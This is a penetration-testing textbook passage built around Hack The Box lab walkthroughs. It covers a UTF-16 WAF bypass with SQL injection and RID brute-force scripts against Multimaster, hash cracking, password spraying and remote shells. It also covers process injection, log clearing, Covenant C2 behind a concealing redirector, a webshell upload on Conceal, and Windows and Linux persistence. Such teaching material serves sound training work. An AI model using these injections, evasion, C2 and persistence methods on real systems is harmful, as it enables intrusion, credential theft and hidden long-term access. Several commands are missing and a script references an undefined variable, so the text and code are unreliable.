Bypassing AMSI
If the command is run as Invoke-AmsiBypass -Verbose, it will run the unloadsilent method.
Otherwise, specific methods can be called by specifying the method as a parameter for the
cmdlet Invoke-PsUACme -Method <method name> -Verbose.
1 Import-Module ./Invoke-Obfuscation.psd1
2 Invoke-Obfuscation
This will present a menu from which you can set a SCRIPTPATH variable to the script you
want to obfuscate:
We can then select options for obfuscation. Taking the defaults, we can obfuscate strings
and commands in the script by inserting tick marks between characters and concatenating
the results:
Web Application Firewalls (WAFs) inspect and filter HTTP traffic. It can operate as a bridge,
router, reverse proxy or be embedded in the web server. It can handle SSL by either
terminating the SSL connection or by knowing the SSL private key, can decrypt the traffic.
WAFs can be configured to block traffic from a specific IP address or IP addresses, block
traffic depending on the pattern of requests (e.g. in the case of someone fuzzing the
website or brute forcing) or inspect the request and check for malicious contents such as
SQL injection. In addition, WAFs can enforce restrictions and checks on cookies, HTTP
headers, hidden fields, form elements and sessions.
As with the example of AMSI, WAFs can be bypassed using a range of encodings and
manipulations of request text. The first step is identifying the WAF if possible. This will give
you the types and mechanisms of the protections it offers. YOu can do this using a tool
such as wafw00f (https://github.com/EnableSecurity/wafw00f) although this has not been
maintained recently and so may not work on more recent WAFs.
limiting the rate of requests if fuzzing or brute forcing so as not to trigger being
blocked.
Changing text case: e.g. sELecT * fRoM * wHEre userid = 'john'
URL encode all text using %encoding
Use Unicode encoding of text \u0070 instead of character 'p'
Use HTML encoding
Insert comment strings e.g. /?id=1+un/**/ion+sel/**/ect+1,2--
Double encoding
Insert line breaks to terminate pattern matching e.g. %0A
hide01.ir
Use wildcard characters such as ?
There are a range of other alternatives that can be tried but the important thing is to
experiment and observe how the WAF and the website itself responds to each attempt.
.
hide01.ir
Exercise: Bypassing a WAF on Multimaster
We have encountered this machine before when we exploited it using an unintended
vulnerability called Zerologon (see page XX). This time we will do this the intended way
which because the machine was rated as "insane" is quite involved. Multimaster is a
Windows box that hosts a website on port 80 called the MegaCorp Employee Hub.
Enumeration of the site reveals an API endpoint that allows for the search of staff in the
organization. When checking if the API is SQL injectable, the web server (or rather the WAF)
returns 403 Forbidden errors. Changing the encoding to UTF-16 bypasses the WAF and the
API is then SQL injectable. At this point, the MS SQL server can be enumerated manually, or
by using sqlmap and a "tamper script" which can bypass the WAF.
Going to the Colleague Finder menu option we find a page that allows for searches uing the
search box
hide01.ir
Colleague Finder page with search input box
Using Burp Suite and sending a search request caught by the proxy interceptor to the
repeater, we get the ouput here:
Sending a quote character in the name field results in a "403 Forbidden" being returned. If
we encode it as UTF-16 and send the encoded character "\u0027", it comes back with a 200
OK. To confirm that this is injectable, we will send the input "' or 1=1-- -". This will add a
clause to the query being used by the application that will always be true and so we would
expect all of the results to be returned. To send that, we need to send the encoded form:
"\u0027\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u002d\u002d\u0020\u002d"
Results of sending the encoded injection ' or 1=1-- -' to Multimaster API endpoint
To enumerate this manually, we are going to write a simple Python 3 script that will set up a
command prompt that we can type injections into. The script will take this input and do a
POST to the API and then format the response. This will make the entire process much
quicker than manually converting the input text and pasting it into Burp. This is the code:
1 #!/usr/bin/python3
2
3 import requests
4 import json
5 from cmd import Cmd
6
7 RHOST = "http://multimaster.htb/api/getColleagues"
8
9 class Terminal(Cmd):
10
11 def __init__(self):
12 self.prompt = '> '
13 Cmd.__init__(self)
14
hide01.ir
15 def default(self, args):
16 converted_cmd = ''
17 for i in args:
18 converted_cmd += "\\u00"+hex(ord(i)).split('x')[1]
19
20 print(f"[*] Sending {converted_cmd}\n")
21 data = "{\"name\": \"" + converted_cmd + "\"}"
22 headers = {'Content-Type': 'application/json;charset=utf-8'}
23
24 response = requests.post(RHOST, headers=headers, data)
25
26 json_response = json.loads(response.text)
27 print(json.dumps(json_response, indent=4, sort_keys=True))
28
29 terminal = Terminal()
30
The "cmd" module handles the loop and capturing input when entered. It is passed to the
default method as the parameter args. The first part of this converts each character in the
input into its ASCII code and then appends that to "\u00". The entire string is then sent as
part of a JSON request to the server. The response is JSON and we can use the json
module in Python to print out the response indented.
The first thing we will do with this is to see how many columns are returned in the query.
There are 5 values in the JSON returned normally and so we know that there are at least 5
columns. We can test this by using the injection "' order by 5-- -"
1 ┌─[✗]─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $./inject.py
3 > ' order by 5-- -
4 [*] Sending \u0027\u0020\u006f\u0072\u0064\u0065\u0072\u0020\u0062
5 \u0079\u0020\u0035\u002d\u002d\u0020\u002d
6 [
7 {
8 "email": "[email protected]",
9 "id": 15,
10 "name": "Alessandro Dominguez",
11 "position": "Senior Web Developer",
12 "src": "aldom.jpg"
13 },
14 {
15 "email": "[email protected]",
16 "id": 11,
17
hide01.ir
"name": "Alyx Walters",
18 "position": "Automation Engineer",
19 "src": "alyx.jpg"
20 },
That gave us a null result and so we know that the query being used is only selecting the 5
columns. We can now use a UNION select to submit our own SQL queries. Since this is a
Windows box, we can assume that the database is MS SQL Server. Using the Cheat Sheet
at PayloadsAllTheThings
(https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/M
SSQL%20Injection.md), we can get the database version and database name by using the
query:
This gives us two tables, Colleauges and Logins. Let's look at Logins and find the column
names:
This returns three columns: id, password and username. We can now select all contents of
the database:
To make it return just the name and position fields, we can alter the script to just return the
username and password fields. So the print code would be
Looking at these hases using an online site, it is identified as possibly Keccak-384 or SHA3-
384 or SHA-384. We can use hashcat to try and crack the hashes. The mode for Keccak-384
is 17900 (you can use hashcat --example-hashes to list all hash types). If we try that, it
succeeds in cracking 3 of them:
1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $hashcat -a 0 -m 17900 hashes.txt /usr/share/wordlists/rockyou.txt
3 hashcat (v6.1.1) starting...
4 …
5 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20
6 79dbccbe242c2244e5739:password1
7 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3
8 edb639eed4e954ce5f0813:finance1
9 fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928
10 e648465b8e7a1946a50cfa:banking1
We have found 3 passwords of password1, finance1 and banking1. Getting all of the
usernames from the table and usernames from the email addresses of the staff from the
website, we can try and password spray each of these passwords with crackmapexec:
1 ┌─[rin@parrot]─[/home/rin/boxes/Multimaster]
2 └──╼ #crackmapexec smb multimaster.htb -u users.txt -p passwords.txt
3 SMB 10.129.1.125 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x6
4 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
5 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:password1
6 STATUS_LOGON_FAILURE
7 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:finance1
8 STATUS_LOGON_FAILURE
9
hide01.ir
SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:banking1
10 STATUS_LOGON_FAILURE
11 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:
12 STATUS_LOGON_FAILURE
13 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\alyx:password1
14 STATUS_LOGON_FAILURE
15 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\alyx:finance1
16 STATUS_LOGON_FAILURE
17 <SNIP…>
Unfortunately that doesn't work. So we need to find more users. In MS SQL Server, there is a
function that allows you to interrogate information about Active Directory users. Namely,
we can use SUSER_SID('MEGACORP\Administrator') to return the SID of a user. Remember
from the explanation of a SID that it is made up of the domain SID and the user RID. We
can use another function SUSER_SNAME to take a SID and return a username. This allows
us to brute force usernames by incrementing the RID from the value of Administrator which
is usually the first user, to a large number. Just to show this working,
Of this number, the last 4 bytes are the RID in little endian format. That makes the RID for
Administrator 0x01f4 which is 500. We will modify the script we wrote to do the brute force
for us. Just to show the reverse side of this, getting a username from the SID, we can use
the SID from Administrator as follows:
Modifying the code to create a new script to run through SIDs from 1000 upwards, we get
the following code:
1 #!/usr/bin/python3
2
3 import requests
4 import json
5 import struct
6
7 RHOST = "http://multimaster.htb/api/getColleagues"
8
9 def get_sid(n):
10 domain_sid = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
11 rid = struct.pack('<I', n).hex()
12 return f"{domain_sid}{rid}"
13
14 def do_rid():
15 starting_rid = 1000
16
17 for i in range(starting_rid, starting_rid+3000):
18 sid = get_sid(i)
19 data = "a' union select 1,2,3,4,SUSER_SNAME(" + sid + ")-- -"
20 converted_cmd = ''
21 for j in data:
22 converted_cmd += "\\u00"+hex(ord(j)).split('x')[1]
23
24 encoded_data = "{\"name\": \"" + converted_cmd + "\"}"
25 headers = {'Content-Type': 'application/json;charset=utf-8'}
26 response = requests.post(RHOST,
27 headers=headers,
28 data=converted_data
29 )
30
31 try:
32 json_response = json.loads(response.text)
33
34 for resp in json_response:
35 if resp['src'] != '':
36
hide01.ir
print(f"{i}: {resp['src']}")
37 except:
38 pass
39 do_rid()
40
1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $./bruterid.py
3 1000: MEGACORP\MULTIMASTER$
4 1101: MEGACORP\DnsAdmins
5 1102: MEGACORP\DnsUpdateProxy
6 1103: MEGACORP\svc-nas
7 1105: MEGACORP\Privileged IT Accounts
8 1110: MEGACORP\tushikikatomo
9 1111: MEGACORP\andrew
10 1112: MEGACORP\lana
11 1601: MEGACORP\alice
12 1602: MEGACORP\test
Retrying the previously found passwords with these users, we get a hit with user
tushikikatomo and password finance1:
1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $crackmapexec smb multimaster.htb -u users.txt -p passwords.txt
3 SMB 10.129.1.125 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x6
4 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
5 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:password1
6 STATUS_LOGON_FAILURE
7 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:finance1
8 STATUS_LOGON_FAILURE
9 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:banking1
10 STATUS_LOGON_FAILURE
11 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:
12 STATUS_LOGON_FAILURE
13 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\tushikikatomo:password
14 STATUS_LOGON_FAILURE
15 SMB 10.129.1.125 445 MULTIMASTER [+] MEGACORP.LOCAL\tushikikatomo:finance1
hide01.ir
Using evil-winrm, we can finally get on the box with those credentials:
1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $evil-winrm -u tushikikatomo -p 'finance1' -i multimaster.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\alcibiades\Documents>
We will leave this machine there as there is still a way to go to get to root and it is not
relevant to the current chapter
hide01.ir
Process Injection
Process injection is a defense evasion technique on Windows whereby code is run within
the address space of another running process. Meterpreter has a post exploitation function
called migrate. This takes the process ID (PID) of a running process such as svchost.exe
and migrates the currently running shell into that process. It does this[1] through a series of
steps:
Process hollowing: In this procedure, the attacker creates a new legitimate process in a
suspended state. The code of the legitimate process is unloaded (unmapped) from memory
and replaced with the malicious code. The process thread is made to point to this code and
the process is resumed. This does create a new process but it is from outside appearances
a legitimate process and so may go undetected.
DLL Injection: This procedure maps a link to a malicious DLL within a running processes
memory space and causes it to run a thread using this memory. This technique suffers
from having a DLL on disk where it can be potentially detected.
The technique varies in where the malicious code is written with the easiest place to replace
the main() function. This is destructive in that the malicious code can't return to the host
function and so is not absolutely ideal.
Other techniques
There are a range of techniques that can be used to avoid detection and to remove activity
traces. These include:
Hide artifacts
Hide files and directories
Hide a file system
Hide users
Hide windows
Run virtual instance
Disable or modify AV, Firewalls, IDS/IPS
Remove indicators
Clear Windows Event Logs
Clear Linux system logs
Clear command history
Delete files
Remove any connected network shares
Timestomp (alter time creation or modification dates on files or directories to fit in
with other files and directories)
hide01.ir
Many of these techniques don't impact anything that you will do on Hack The Box, but they
are of obvious importance when penetration testing or undertaking red team engagements.
hide01.ir
Implants can be programmed to be persistent, and to communicate with the C2 at set time
intervals.
C2 services can also provide the ability to create implants of various kinds, handle AV and
Firewall evasion and provide monitoring from the implants.
In a normal C2 architecture, the C2 server would be located on its own server with the
communication redirector on a separate machine (or machines). A client would be used to
communicate with the C2 to issue commands and view results and data exfiltrated from
the implants.
hide01.ir
From this definition, Metasploit would be considered a C2. Although we have been running
it interactively on our attack VM, Metasploit can be hosted remotely and run as a service.
Communication with the service is then done through its RPC (Remote Procedure Call)
interface which is as simple as using netcat to connect to it. The majority of Metasploit
modules are proxy-aware and so can be used through a proxy acting as a redirector for
concealment purposes.
C2s can operate independently, programmed to take a course of actions and responses, or
they can be used interactively by one or more attackers. In a red team or penetration test
operation where there may be more than one person attacking a network, collaboration and
sharing of information between team members is important and some C2s offer this type
of collaborative functionality.
Covenant as a C2
We are going to look at Covenant as an example of another type of C2. Covenant is written
in C# and although it can be set up on a Linux host, we will run it on Windows as the setup
is very straightforward. Covenant calls its implants "Grunts" from the US slang of a low-
ranking soldier being called a "grunt". Grunts are created and run by "Launchers" which
allow for the use of different languages (PowerShell or C#), evasion techniques,
communications type, and execution types. Listeners are the same as handlers on
Metasploit. They listen for connections and communicate with grunts sending them Tasks
which are commands to carry out and report back on when complete.
Installing Covenant
To install Covenant, it is simply a matter of cloning the repository from GitHub and running
dotnet build and dotnet run as follows:
Running Covenant will allow you to navigate to https://127.0.0.1:7443 (you will need to
accept the exception to go to the site as the certificate is not trusted) and create a user
Once logged in, you will be presented with a Dashboard that lists all running Grunts,
Listeners and Taskings. A menu on the left allows you to navigate into the different
sections of the application.
hide01.ir
Covenant Dashboard
Before we go into using Covenant, we can set up an Apache redirector. We will do that on
our Parrot box
We are going to use Apache as an HTTP redirector. To keep things simple, we will not
configure SSL but of course in a real situation you would do. Also, we could create a
realistic looking website for default traffic coming to the redirector instead of leaving the
Apache default home page.
To start with, we need to enable Apache modules, rewrite, proxy, proxy_http and
proxy_connect:
Before we make changes to this file, we need to know the paths that we are going to use. If
we go into Covenant and click on the Listeners item in the menu and then select Profiles,
you will see a list of possible profiles you can use. Clicking on the DefaultHttpProfile, there
is a list of URLs that Covenant will use to communicate between Grunt and Listener:
1 /en-us/index.html
2 /en-us/docs.html
3 /en-us/test.html
These could be changed but we will leave them for now. So in the configuration file for
Apache, we can add the following lines just under the logging section of the configuration
1 <VirtualHost *:80>
2 ServerAdmin webmaster@localhost
3 DocumentRoot /var/www/html
4 ErrorLog ${APACHE_LOG_DIR}/error.log
5 CustomLog ${APACHE_LOG_DIR}/access.log combined
6 ProxyRequests off
7 ProxyPass /en-us/index.html http://192.168.114.3/en-us/index.html
8 ProxyPass /en-us/docs.html http://192.168.114.3/en-us/docs.html
9 ProxyPass /en-us/test.html http://192.168.114.3/en-us/test.html
10 ProxyPassReverse /en-us/index.html http://192.168.114.3/en-us/index.html
11 ProxyPassReverse /en-us/docs.html http://192.168.114.3/en-us/docs.html
12 ProxyPassReverse /en-us/test.html http://192.168.114.3/en-us/test.html
13 </VirtualHost>
The "ProxyRequests off" statement disables proxying for anything other than the proxy
requests defined after it. The ProxyPass statement takes all traffic for the paths specified
and forwards it to the Covenant server at 192.168.114.3. The ProxyPassReverse statement
hide01.ir
will re-write URLs in the reply so that responses come back to the proxy server and not
directly back to the Covenant server.
Once these changes are made, we can restart the Apache server and check that the home
page is working as expected.
We can now go back to Covenant and create a Listener. The only thing we need to do here
is to add and entry for the ConnectAddresses that points to the redirector (Figure 10-4). We
hide01.ir
can leave the HTTP profile as default. In practice, we could change the URLs and the
contents of the messages that are sent to and from the grunt as the defaults are pretty
basic.
Once this is done, we can now use a Launcher to create the PowerShell script that we could
run on a target host. Again, we will leave everything as is and just select Redirect as the
Listener if it hasn't done this automatically
hide01.ir
Once this code is run (we can run it on the same machine, it will send its communications
via the redirector in any case), we will see a grunt being activated and appear in the
Dashboard of Covenant. The grunt will by default report back information about the user
and computer that it is running on
hide01.ir
We can now interact with the grunt using the Interact tab and use one of a selection of
different commands or tasks such as whoami
hide01.ir
Covenant provides a long list of other tasks that can be run on the target machine that
include methods for bypassing AMSI and UAC, uploading and downloading files,
navigating the file system and running software and other commands.
An initial nmap scan reveals no TCP ports open. Doing a UDP scan shows two open ports.
161 which is running an SNMP process and 500 which is running an IKE VPN port. nmap
hide01.ir
will enumerate public information from this interface and so returns information about
network interfaces, network ports that are open on the machine and processes that are
running:
We can use the utility snmpwalk.pl to enumerate SNMP on the machine. As a reminder,
SNMP is the Simple Network Management Protocol which is a protocol for collecting
information from devices and sending commands to control them. SNMP uses a
hierarchical namespace to organize information about a device. This is called a
management information base (MIB). MIBs use object identifiers (OID) to identify individual
items within a MIB.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Conceal]
2 └──╼ $perl /usr/share/doc/libnet-snmp-perl/examples/snmpwalk.pl -c public
3 1.3.6.1.2.1.1.1.0 = OCTET STRING: Hardware: AMD64 Family 23 Model 49 Stepp
4 15063 Multiprocessor Free)
5 1.3.6.1.2.1.1.2.0 = OBJECT IDENTIFIER: 1.3.6.1.4.1.311.1.1.3.1.1
6 1.3.6.1.2.1.1.3.0 = TimeTicks: 23 hours, 34:05.00
7 1.3.6.1.2.1.1.4.0 = OCTET STRING: IKE VPN password PSK - 9C8B1A372B1878851
8 1.3.6.1.2.1.1.5.0 = OCTET STRING: Conceal
9 1.3.6.1.2.1.1.6.0 = OCTET STRING:
10 1.3.6.1.2.1.1.7.0 = INTEGER: 76
11 1.3.6.1.2.1.2.1.0 = INTEGER: 16
12 1.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
13 1.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
14 1.3.6.1.2.1.2.2.1.1.3 = INTEGER: 3
15 1.3.6.1.2.1.2.2.1.1.4 = INTEGER: 4
16 1.3.6.1.2.1.2.2.1.1.5 = INTEGER: 5
17
hide01.ir
1.3.6.1.2.1.2.2.1.1.6 = INTEGER: 6
18 1.3.6.1.2.1.2.2.1.1.7 = INTEGER: 7
19 1.3.6.1.2.1.2.2.1.1.8 = INTEGER: 8
20 1.3.6.1.2.1.2.2.1.1.9 = INTEGER: 9
21 1.3.6.1.2.1.2.2.1.1.10 = INTEGER: 10
22 1.3.6.1.2.1.2.2.1.1.11 = INTEGER: 11
23 1.3.6.1.2.1.2.2.1.1.12 = INTEGER: 12
24 1.3.6.1.2.1.2.2.1.1.13 = INTEGER: 13
25 1.3.6.1.2.1.2.2.1.1.14 = INTEGER: 14
26 1.3.6.1.2.1.2.2.1.1.15 = INTEGER: 15
27 1.3.6.1.2.1.2.2.1.1.16 = INTEGER: 16
28 1.3.6.1.2.1.2.2.1.2.1 = OCTET STRING: Software Loopback Interface 1
29 1.3.6.1.2.1.2.2.1.2.2 = OCTET STRING: WAN Miniport (IKEv2)
30 1.3.6.1.2.1.2.2.1.2.3 = OCTET STRING: vmxnet3 Ethernet Adapter
31 <SNIP>
One thing we notice immediately is that there is an IKE VPN password PSK (pre-shared key)
which is 9C8B1A372B1878851BE2C097031B6E43. If we check this hash online, or through
listing hashcat hash examples, it is likely to be an NTLM hash. We can crack it with
hashcat as follows:
1 ┌─[rin@parrot]─[~/boxes/Conceal]
2 └──╼ $hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
3 hashcat (v6.1.1) starting...
4 <SNIP>
5 9c8b1a372b1878851be2c097031b6e43:Dudecake1!
6 Session..........: hashcat
7 Status...........: Cracked
8 Hash.Name........: NTLM
We get the password "Dudecake!". Before we leave the SNMP enumeration, we can use
another utility to enumerate it called snmp-check:
1 ┌─[rin@parrot]─[~/boxes/Conceal] [454/578]
2 └──╼ $snmp-check 10.129.90.149
3 snmp-check v1.9 - SNMP enumerator
4 Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
5 [+] Try to connect to 10.129.90.149:161 using SNMPv1 and community 'public
6 [*] System information:
7 Host IP address : 10.129.90.149
8 Hostname : Conceal
9
hide01.ir
Description : Hardware: AMD64 Family 23 Model 49 Stepping 0 AT/AT COMPATI
10 15063 Multiprocessor Free)
11 Contact : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43
12 Location : -
13 Uptime snmp : 00:11:32.37
14 Uptime system : 00:11:17.93
15 System date : 2021-2-1 02:45:52.0
16 Domain : WORKGROUP
17 [*] User accounts:
18 Guest
19 Destitute
20 Administrator
21 DefaultAccount
22 <SNIP>
This produces labelled information from SNMP largely of the same content that was
enumerated by nmap. We can see that there is a WAN Miniport (IKEv2) interface that is
marked as being down. This, along with the open UDP port 500 and the IKE password
suggests that the machine supports an IPSec VPN. The TCP connections show that FTP
and HTTP are running on ports 21 and 80 but just not accessible from the outside, as we
have previously seen from the nmap scan.
1 ┌─[rin@parrot]─[~/boxes/Conceal]
2 └──╼ $sudo ike-scan -M 10.129.90.149
3 Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike
4 10.129.90.149 Main Mode Handshake returned
5 HDR=(CKY-R=7eb8e09a6a37c7b8)
6 SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDur
7 VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8)
8 VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
9 VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n)
10 VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
11 VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable)
12 VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1)
13 Ending ike-scan 1.9.4: 1 hosts scanned in 0.338 seconds (2.96 hosts/sec).
The important information from this is the SA= line which represents the security
association configuration information. ike-scan can sometimes get the hash using
aggressive mode, but we already have the hash and in any case it doesn't work on Conceal.
hide01.ir
We are going to use Windows for the next phase and set up an IPSec tunnel. To set up an
IPSec tunnel, we go into the Windows Defender Firewall with Advanced Security application
and click New Rule on Connection Security Rules (Figure 10-8)
We can leave the default setting for authentication inbound and outbound and then select
the Advanced option for the Authentication Method
hide01.ir
We need to select the protocol type as TCP that will be carried by the tunnel
hide01.ir
Finally, we give the connection a name and then can check if it is working by doing an
nmap scan on port 445
1 c:\Users\rin\Desktop
2 nmap -p 445 -sT conceal.htb
3 <SNIP>
4 PORT STATE SERVICE
5 445/tcp open microsoft-ds
hide01.ir
Now that we have a working tunnel in place, we can check FTP for anonymous access
which it allows. There is nothing in the directory but it seems that we can upload files.
Uploading a test.html file, we can navigate to the website on Conceal and that reveals the
default IIS page. Putting in the URL http://conceal.htb/test.html gives a file not found. We
could run gobuster on the site to see what the directory structure is but testing the a few
well known paths gives us a hit on http://conceal.htb/upload/test.html.
So we can upload files and access them via the web. This will allow us to upload a web
shell from https://github.com/tennc/webshell/tree/master/asp. Lets upload that using ftp:
1 c:\Users\rin\Desktop
2 λ ftp conceal.htb
3 Connected to conceal.htb.
4 220 Microsoft FTP Service
5 200 OPTS UTF8 command successful - UTF8 encoding now ON.
6 User (conceal.htb:(none)): anonymous
7 331 Anonymous access allowed, send identity (e-mail name) as password.
8 Password:
9 230 User logged in.
10 ftp> put webshell.asp
11 200 PORT command successful.
12 125 Data connection already open; Transfer starting.
13 226 Transfer complete.
14 ftp: 1405 bytes sent in 0.39Seconds 3.65Kbytes/sec.
15 ftp>
On Covenant, we can use a Launcher to get a PowerShell script that we can put into a file
grunt.ps1 and serve it using python -m http.server 8000 -bind 10.10.14.117. From the
webshell, we can use the command:
You should see a hit on the python web server and then in Covenant, a notification that the
grunt is active. Interacting with the grunt, we can send command such as whoami
Note that the CLSID is something that I got from the site https://github.com/ohpe/juicy-
potato/tree/master/CLSID/Windows_10_Enterprise) and it is for the Windows Update
Server (wuaserv). On running the batch file, we will get another grunt activated on Covenant
and this time it will be as user NT Authority\System
There are a variety of different ways of achieving persistence. The MITRE ATT&CK
framework lists a range of techniques which can be summarized as follows:
We won't go through all of these separately but will deal with a few by way of example. We
have already come across some of these techniques, especially the first, using valid
credentials, including hashes and Kerberos tickets. The caveat with using accounts,
including created accounts to remotely access a machine or file system is that any unusual
activity of accounts can potentially trigger alerts.
Of the remainder of the techniques, the actual procedures involved in these are specific to
platform and so we will deal with each platform in turn.
Windows Persistence
BITS Jobs
hide01.ir
BITS is the Background Intelligent Transfer Service which runs scheduled jobs to upload or
download files and monitor their progress. There is a utility program bitsadmin.exe that can
be used to configure BITS jobs, however, it will warn you that it is being deprecated and that
there are PowerShell commands that should be used instead. The PowerShell commands
are missing the ability to run a program after the BITS job completes and this is the feature
we are counting on to run our implant. So for the time being, we will run through how to run
a PowerShell grunt using BITS.
Note that if the implant was already on the machine, this part can be set to a non-valid URL,
it isn't important to running the file which we do with the following command:
We need to run bitsadmin.exe /complete myjob because bitsadmin won't actually copy the
downloaded file to its destination until this is called. After that finishes, the grunt.bat script
file is run. This will pop up a cmd.exe window and so there are other ways of downloading
and executing the PowerShell without running it in a command prompt.
If the download command is invalid, i.e. it returns a 404, the command will retry if a
SetMinRetryDelay is set:
Scheduled Tasks
The Windows Task Scheduler allows for scripts or applications to be run at certain times or
as a result of specific events. Tasks can be scheduled using the Windows GUI Task
Scheduler or the command line schtasks. A task consists of a name that is used to identify
it. It will run after being "triggered" at a specific time or after an event, such as logging on, or
an event appearing in a log. The task will then execute an action which is either running a
program, sending an email, or displaying a notification or take some other action. Executing
the action can be constrained by certain conditions and finally, there are some settings that
can be configured if the task fails for any reason.
For our purposes, we can use the schtasks application and simply create a task that will
execute at a fixed time as follows:
This is creating a task called "persistjob" with an action of running grunt.bat. The schedule
(/sc) is defined in minutes and is set to run every 60 minutes (/mn 60) indefinitely. By
default, the task will only run when the user is logged on.
As mentioned above, the scheduled task can be used to persist running the implant directly,
or via a BITS job.
Registry Keys
There are a variety of keys in the registry that can be used to achieve persistence. Examples
include:
Autorun: keys at
hide01.ir
1 HKCU\Software\Microsoft\Windows\CurrentVersion\Run
2 HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
3 HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
4 HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
Registry keys can also be used to store actual scripts and the commands to run them. The
C2 server PoshC2 for example will store a PowerShell script disguised as wallpaper in the
key:
It will run the script from the autorun keys mentioned above, using the name of IEUpdate, or
use a scheduled task or place a shortcut file that is placed at
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk
Services
A new service can be created to persist an implant. This can be done using PowerShell
sc start Grunt
Remember that you will need elevated privileges to do this and you would normally make
more of an attempt to disguise or hide the binary file.
hide01.ir
There are a number of other techniques but these are the most common. We will have a
look at how to achieve persistence on a Linux machine next.
Linux Persistence
As with Windows, getting credentials of an existing user or creating a new user that has
remote access to the machine through remote desktop or SSH is a straightforward way of
achieving persistence. With SSH, an additional key can be added to a user's
authorized_keys file as well.
Cron Jobs
As with scheduled tasks on Windows, Cron can be used to the same end to run a binary or
script at specific times. A technique used by malware is to download a file that looks like a
JPG and actually contains a reverse shell. Two ways of achieving that are:
These lines represent entries in a crontab. The format is to specify minute, hour, day of the
month, month and day of the week in the first 5 positions. The command that is executed
follows. In the case of the above entries, this would represent running the Cron job every 11
minutes (*/11) and every 5 minutes (*/5).
For a user to run a cron job, they need to be configured in the /etc/cron.allow file. An
individual user's cron files are stored in /var/spool/cron/crontabs. Other cron entries may
be in files located in /etc/cron.d and entries in the file /etc/crontab.
exploit/linux/local/cron_persistence
Systemd service
hide01.ir
Systemd is a service that uses configuration files to start, stop and report on other services
on a Linux machine. The configuration files are located in /etc/systemd/system and
/usr/lib/system. A new service can be created or an existing one modified to maintain
persistence. Although an attacker would normally need root privileges to create or modify a
service, it is possible to run a service as a user by putting a configuration file in the home
directory of a user ~/.config/system/user/
use exploit/linux/local/service_persistence